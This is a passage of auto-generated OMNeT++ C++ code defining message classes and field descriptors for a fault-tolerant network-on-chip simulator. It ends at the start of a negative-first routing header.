this->dataAmount_var = dataAmount;
}
int TaskGraphSendTimeMsg::getDestX() const
{
return destX_var;
}
void TaskGraphSendTimeMsg::setDestX(int destX)
{
this->destX_var = destX;
}
int TaskGraphSendTimeMsg::getDestY() const
{
return destY_var;
}
void TaskGraphSendTimeMsg::setDestY(int destY)
{
this->destY_var = destY;
}
int TaskGraphSendTimeMsg::getOutputPort() const
{
return outputPort_var;
}
void TaskGraphSendTimeMsg::setOutputPort(int outputPort)
{
this->outputPort_var = outputPort;
}
class TaskGraphSendTimeMsgDescriptor : public cClassDescriptor
{
public:
TaskGraphSendTimeMsgDescriptor();
virtual ~TaskGraphSendTimeMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(TaskGraphSendTimeMsgDescriptor);
TaskGraphSendTimeMsgDescriptor::TaskGraphSendTimeMsgDescriptor() : cClassDescriptor("TaskGraphSendTimeMsg", "cMessage")
{
}
TaskGraphSendTimeMsgDescriptor::~TaskGraphSendTimeMsgDescriptor()
{
}
bool TaskGraphSendTimeMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<TaskGraphSendTimeMsg *>(obj)!=NULL;
}
const char *TaskGraphSendTimeMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int TaskGraphSendTimeMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 4+basedesc->getFieldCount(object) : 4;
}
unsigned int TaskGraphSendTimeMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
};
return (field>=0 && field<4) ? fieldTypeFlags[field] : 0;
}
const char *TaskGraphSendTimeMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"dataAmount",
"destX",
"destY",
"outputPort",
};
return (field>=0 && field<4) ? fieldNames[field] : NULL;
}
int TaskGraphSendTimeMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='d' && strcmp(fieldName, "dataAmount")==0) return base+0;
if (fieldName[0]=='d' && strcmp(fieldName, "destX")==0) return base+1;
if (fieldName[0]=='d' && strcmp(fieldName, "destY")==0) return base+2;
if (fieldName[0]=='o' && strcmp(fieldName, "outputPort")==0) return base+3;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *TaskGraphSendTimeMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
"int",
"int",
"int",
};
return (field>=0 && field<4) ? fieldTypeStrings[field] : NULL;
}
const char *TaskGraphSendTimeMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int TaskGraphSendTimeMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
TaskGraphSendTimeMsg *pp = (TaskGraphSendTimeMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string TaskGraphSendTimeMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
TaskGraphSendTimeMsg *pp = (TaskGraphSendTimeMsg *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getDataAmount());
case 1: return long2string(pp->getDestX());
case 2: return long2string(pp->getDestY());
case 3: return long2string(pp->getOutputPort());
default: return "";
}
}
bool TaskGraphSendTimeMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
TaskGraphSendTimeMsg *pp = (TaskGraphSendTimeMsg *)object; (void)pp;
switch (field) {
case 0: pp->setDataAmount(string2long(value)); return true;
case 1: pp->setDestX(string2long(value)); return true;
case 2: pp->setDestY(string2long(value)); return true;
case 3: pp->setOutputPort(string2long(value)); return true;
default: return false;
}
}
const char *TaskGraphSendTimeMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *TaskGraphSendTimeMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
TaskGraphSendTimeMsg *pp = (TaskGraphSendTimeMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(TaskGraphNextPaquetMsg);
TaskGraphNextPaquetMsg::TaskGraphNextPaquetMsg(const char *name, int kind) : ::cMessage(name,kind)
{
this->idPaquet_var = 0;
this->nbPaquets_var = 0;
this->destX_var = 0;
this->destY_var = 0;
this->outputPort_var = 0;
this->dataAmount_var = 0;
}
TaskGraphNextPaquetMsg::TaskGraphNextPaquetMsg(const TaskGraphNextPaquetMsg& other) : ::cMessage(other)
{
copy(other);
}
TaskGraphNextPaquetMsg::~TaskGraphNextPaquetMsg()
{
}
TaskGraphNextPaquetMsg& TaskGraphNextPaquetMsg::operator=(const TaskGraphNextPaquetMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void TaskGraphNextPaquetMsg::copy(const TaskGraphNextPaquetMsg& other)
{
this->idPaquet_var = other.idPaquet_var;
this->nbPaquets_var = other.nbPaquets_var;
this->destX_var = other.destX_var;
this->destY_var = other.destY_var;
this->outputPort_var = other.outputPort_var;
this->dataAmount_var = other.dataAmount_var;
}
void TaskGraphNextPaquetMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
doPacking(b,this->idPaquet_var);
doPacking(b,this->nbPaquets_var);
doPacking(b,this->destX_var);
doPacking(b,this->destY_var);
doPacking(b,this->outputPort_var);
doPacking(b,this->dataAmount_var);
}
void TaskGraphNextPaquetMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
doUnpacking(b,this->idPaquet_var);
doUnpacking(b,this->nbPaquets_var);
doUnpacking(b,this->destX_var);
doUnpacking(b,this->destY_var);
doUnpacking(b,this->outputPort_var);
doUnpacking(b,this->dataAmount_var);
}
int TaskGraphNextPaquetMsg::getIdPaquet() const
{
return idPaquet_var;
}
void TaskGraphNextPaquetMsg::setIdPaquet(int idPaquet)
{
this->idPaquet_var = idPaquet;
}
int TaskGraphNextPaquetMsg::getNbPaquets() const
{
return nbPaquets_var;
}
void TaskGraphNextPaquetMsg::setNbPaquets(int nbPaquets)
{
this->nbPaquets_var = nbPaquets;
}
int TaskGraphNextPaquetMsg::getDestX() const
{
return destX_var;
}
void TaskGraphNextPaquetMsg::setDestX(int destX)
{
this->destX_var = destX;
}
int TaskGraphNextPaquetMsg::getDestY() const
{
return destY_var;
}
void TaskGraphNextPaquetMsg::setDestY(int destY)
{
this->destY_var = destY;
}
int TaskGraphNextPaquetMsg::getOutputPort() const
{
return outputPort_var;
}
void TaskGraphNextPaquetMsg::setOutputPort(int outputPort)
{
this->outputPort_var = outputPort;
}
int TaskGraphNextPaquetMsg::getDataAmount() const
{
return dataAmount_var;
}
void TaskGraphNextPaquetMsg::setDataAmount(int dataAmount)
{
this->dataAmount_var = dataAmount;
}
class TaskGraphNextPaquetMsgDescriptor : public cClassDescriptor
{
public:
TaskGraphNextPaquetMsgDescriptor();
virtual ~TaskGraphNextPaquetMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(TaskGraphNextPaquetMsgDescriptor);
TaskGraphNextPaquetMsgDescriptor::TaskGraphNextPaquetMsgDescriptor() : cClassDescriptor("TaskGraphNextPaquetMsg", "cMessage")
{
}
TaskGraphNextPaquetMsgDescriptor::~TaskGraphNextPaquetMsgDescriptor()
{
}
bool TaskGraphNextPaquetMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<TaskGraphNextPaquetMsg *>(obj)!=NULL;
}
const char *TaskGraphNextPaquetMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int TaskGraphNextPaquetMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 6+basedesc->getFieldCount(object) : 6;
}
unsigned int TaskGraphNextPaquetMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
};
return (field>=0 && field<6) ? fieldTypeFlags[field] : 0;
}
const char *TaskGraphNextPaquetMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"idPaquet",
"nbPaquets",
"destX",
"destY",
"outputPort",
"dataAmount",
};
return (field>=0 && field<6) ? fieldNames[field] : NULL;
}
int TaskGraphNextPaquetMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='i' && strcmp(fieldName, "idPaquet")==0) return base+0;
if (fieldName[0]=='n' && strcmp(fieldName, "nbPaquets")==0) return base+1;
if (fieldName[0]=='d' && strcmp(fieldName, "destX")==0) return base+2;
if (fieldName[0]=='d' && strcmp(fieldName, "destY")==0) return base+3;
if (fieldName[0]=='o' && strcmp(fieldName, "outputPort")==0) return base+4;
if (fieldName[0]=='d' && strcmp(fieldName, "dataAmount")==0) return base+5;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *TaskGraphNextPaquetMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
"int",
"int",
"int",
"int",
"int",
};
return (field>=0 && field<6) ? fieldTypeStrings[field] : NULL;
}
const char *TaskGraphNextPaquetMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int TaskGraphNextPaquetMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
TaskGraphNextPaquetMsg *pp = (TaskGraphNextPaquetMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string TaskGraphNextPaquetMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
TaskGraphNextPaquetMsg *pp = (TaskGraphNextPaquetMsg *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getIdPaquet());
case 1: return long2string(pp->getNbPaquets());
case 2: return long2string(pp->getDestX());
case 3: return long2string(pp->getDestY());
case 4: return long2string(pp->getOutputPort());
case 5: return long2string(pp->getDataAmount());
default: return "";
}
}
bool TaskGraphNextPaquetMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
TaskGraphNextPaquetMsg *pp = (TaskGraphNextPaquetMsg *)object; (void)pp;
switch (field) {
case 0: pp->setIdPaquet(string2long(value)); return true;
case 1: pp->setNbPaquets(string2long(value)); return true;
case 2: pp->setDestX(string2long(value)); return true;
case 3: pp->setDestY(string2long(value)); return true;
case 4: pp->setOutputPort(string2long(value)); return true;
case 5: pp->setDataAmount(string2long(value)); return true;
default: return false;
}
}
const char *TaskGraphNextPaquetMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *TaskGraphNextPaquetMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
TaskGraphNextPaquetMsg *pp = (TaskGraphNextPaquetMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(NeighborLinkFaultMsg);
NeighborLinkFaultMsg::NeighborLinkFaultMsg(const char *name, int kind) : ::cMessage(name,kind)
{
this->direction_var = 0;
}
NeighborLinkFaultMsg::NeighborLinkFaultMsg(const NeighborLinkFaultMsg& other) : ::cMessage(other)
{
copy(other);
}
NeighborLinkFaultMsg::~NeighborLinkFaultMsg()
{
}
NeighborLinkFaultMsg& NeighborLinkFaultMsg::operator=(const NeighborLinkFaultMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void NeighborLinkFaultMsg::copy(const NeighborLinkFaultMsg& other)
{
this->direction_var = other.direction_var;
}
void NeighborLinkFaultMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
doPacking(b,this->direction_var);
}
void NeighborLinkFaultMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
doUnpacking(b,this->direction_var);
}
int NeighborLinkFaultMsg::getDirection() const
{
return direction_var;
}
void NeighborLinkFaultMsg::setDirection(int direction)
{
this->direction_var = direction;
}
class NeighborLinkFaultMsgDescriptor : public cClassDescriptor
{
public:
NeighborLinkFaultMsgDescriptor();
virtual ~NeighborLinkFaultMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(NeighborLinkFaultMsgDescriptor);
NeighborLinkFaultMsgDescriptor::NeighborLinkFaultMsgDescriptor() : cClassDescriptor("NeighborLinkFaultMsg", "cMessage")
{
}
NeighborLinkFaultMsgDescriptor::~NeighborLinkFaultMsgDescriptor()
{
}
bool NeighborLinkFaultMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<NeighborLinkFaultMsg *>(obj)!=NULL;
}
const char *NeighborLinkFaultMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int NeighborLinkFaultMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 1+basedesc->getFieldCount(object) : 1;
}
unsigned int NeighborLinkFaultMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
};
return (field>=0 && field<1) ? fieldTypeFlags[field] : 0;
}
const char *NeighborLinkFaultMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"direction",
};
return (field>=0 && field<1) ? fieldNames[field] : NULL;
}
int NeighborLinkFaultMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='d' && strcmp(fieldName, "direction")==0) return base+0;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *NeighborLinkFaultMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
};
return (field>=0 && field<1) ? fieldTypeStrings[field] : NULL;
}
const char *NeighborLinkFaultMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int NeighborLinkFaultMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
NeighborLinkFaultMsg *pp = (NeighborLinkFaultMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string NeighborLinkFaultMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
NeighborLinkFaultMsg *pp = (NeighborLinkFaultMsg *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getDirection());
default: return "";
}
}
bool NeighborLinkFaultMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
NeighborLinkFaultMsg *pp = (NeighborLinkFaultMsg *)object; (void)pp;
switch (field) {
case 0: pp->setDirection(string2long(value)); return true;
default: return false;
}
}
const char *NeighborLinkFaultMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *NeighborLinkFaultMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
NeighborLinkFaultMsg *pp = (NeighborLinkFaultMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(NACKMsg);
NACKMsg::NACKMsg(const char *name, int kind) : ::cMessage(name,kind)
{
this->src_var = 0;
this->flitIndex_var = 0;
this->packetIndex_var = 0;
}
NACKMsg::NACKMsg(const NACKMsg& other) : ::cMessage(other)
{
copy(other);
}
NACKMsg::~NACKMsg()
{
}
NACKMsg& NACKMsg::operator=(const NACKMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void NACKMsg::copy(const NACKMsg& other)
{
this->src_var = other.src_var;
this->flitIndex_var = other.flitIndex_var;
this->packetIndex_var = other.packetIndex_var;
}
void NACKMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
doPacking(b,this->src_var);
doPacking(b,this->flitIndex_var);
doPacking(b,this->packetIndex_var);
}
void NACKMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
doUnpacking(b,this->src_var);
doUnpacking(b,this->flitIndex_var);
doUnpacking(b,this->packetIndex_var);
}
int NACKMsg::getSrc() const
{
return src_var;
}
void NACKMsg::setSrc(int src)
{
this->src_var = src;
}
int NACKMsg::getFlitIndex() const
{
return flitIndex_var;
}
void NACKMsg::setFlitIndex(int flitIndex)
{
this->flitIndex_var = flitIndex;
}
int NACKMsg::getPacketIndex() const
{
return packetIndex_var;
}
void NACKMsg::setPacketIndex(int packetIndex)
{
this->packetIndex_var = packetIndex;
}
class NACKMsgDescriptor : public cClassDescriptor
{
public:
NACKMsgDescriptor();
virtual ~NACKMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(NACKMsgDescriptor);
NACKMsgDescriptor::NACKMsgDescriptor() : cClassDescriptor("NACKMsg", "cMessage")
{
}
NACKMsgDescriptor::~NACKMsgDescriptor()
{
}
bool NACKMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<NACKMsg *>(obj)!=NULL;
}
const char *NACKMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int NACKMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 3+basedesc->getFieldCount(object) : 3;
}
unsigned int NACKMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
};
return (field>=0 && field<3) ? fieldTypeFlags[field] : 0;
}
const char *NACKMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"src",
"flitIndex",
"packetIndex",
};
return (field>=0 && field<3) ? fieldNames[field] : NULL;
}
int NACKMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='s' && strcmp(fieldName, "src")==0) return base+0;
if (fieldName[0]=='f' && strcmp(fieldName, "flitIndex")==0) return base+1;
if (fieldName[0]=='p' && strcmp(fieldName, "packetIndex")==0) return base+2;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *NACKMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
"int",
"int",
};
return (field>=0 && field<3) ? fieldTypeStrings[field] : NULL;
}
const char *NACKMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int NACKMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
NACKMsg *pp = (NACKMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string NACKMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
NACKMsg *pp = (NACKMsg *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getSrc());
case 1: return long2string(pp->getFlitIndex());
case 2: return long2string(pp->getPacketIndex());
default: return "";
}
}
bool NACKMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
NACKMsg *pp = (NACKMsg *)object; (void)pp;
switch (field) {
case 0: pp->setSrc(string2long(value)); return true;
case 1: pp->setFlitIndex(string2long(value)); return true;
case 2: pp->setPacketIndex(string2long(value)); return true;
default: return false;
}
}
const char *NACKMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *NACKMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
NACKMsg *pp = (NACKMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/NegativeFirst/NegativeFirstRouting.h
/*
* NegativeFirstRouting.h
*
* Created on: 26 avr. 2015
* Author: ala-eddine
*/
#ifndef NEGATIVEFIRSTROUTING_H_
#define NEGATIVEFIRSTROUTING_H_
#include<RoutingFunction.h>
class NegativeFirstRouting : public RoutingFunction{
public:
NegativeFirstRouting(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo);
